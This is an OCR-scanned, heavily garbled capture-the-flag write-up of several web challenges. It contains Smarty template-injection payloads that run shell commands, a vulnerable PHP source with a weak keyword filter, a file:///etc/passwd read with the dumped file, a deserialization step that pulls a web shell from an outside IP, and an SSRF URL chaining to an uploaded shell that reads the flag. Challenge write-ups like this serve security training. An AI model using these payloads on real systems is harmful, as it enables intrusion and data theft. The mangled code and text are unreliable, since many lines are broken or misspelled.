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1 Web
118 H: GET
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new Smarty();

highlight file( )
foreach ($_GET AS $key $value)

{
print $key.
if(preg_match( , $value)){

$smarty->display(

}elseif(preg_match( , $value)){

$smarty->display(

}else{

$smarty->display(

)i
}else{
$smarty->display(

2. B F|smartyRERIENKITER, U5 % UEIRR

http://d40c2bf8.yunyansec.com/?a={phpinfo()}

3. MM I LA A& PATREREF flag

http://938e2c8c.yunyansec.com/?a={passthru(%22tac%20 find%20-iname%20f1la* %22)}
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<?php

include( 'flag.php');

ineclude('./libs/Smarty.class.php');

$smarty = new Smarty();

if($_GET){
highlight_file('index.php’);
foreach ($_GET AS $key => $value)

{
print $key."\n";
if(preg_match("/flag/i", $value)){
$smarty->display('./template.html’);
}elseif (preg_match("/system|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html’);
}else{
$smarty->display("eval:".$%value);//flag.php
}
}
relse

$smarty->display('./template.html');
}
2> a 7> $flag = "ag{614bf7688b5122c03948a7d428e727e8}";
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file:///etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2: :/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin |p:x:4:7:Ip:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin: /hln/sync shutdown:x:6:0:shutdown:/sbinz/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail /var/spool/mail:/sbin/nolegin uucp:x:10:14:uucp:/var/speol/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100: in gopher:x: er:, +/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobedy:/:/sbin/nologin vesa:x:69:69:virtual console memory owner:/dev:/sbin/nologin apachex 48:48:Apache:/var/www:/sbin/nologin mysql X:27: 27 MySQL Server:/var/lib/mysql:/bin/bash sshd:x:74:74:Privilege-

P Vnologin
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< 80>
DocumentRoot /var/www/html/webl
</ >

8080>
DocumentRoot /var/www/html/web2

public $path
public $file
public $url

1
J

echo urlencode(urlencode(serialize(new copy_file())));

?>

4. Vila Web Shell, 33 flag.

i
http://120.55.50.65/4.txt
flag{0fd4963c340976081362dbb4f11eb5b6}
[x ﬂ HackBar Console Elements Sources Network Performance Memory Application Lighthouse Adblock Plus EditThisCookie

LOAD SPLIT EXECUTE TEST ~ sqLl -~ XSS ~ LFI - SSTI ~ ENCODING ~ HASHING ~

URL

http://180fe897.yunyansec.com/
?url=http://127.0.0.1:8080/upload/e.php?shell=cat%2520..%252Fflag_WebSite_SsRf.txt

Enable POST ADD HEADER
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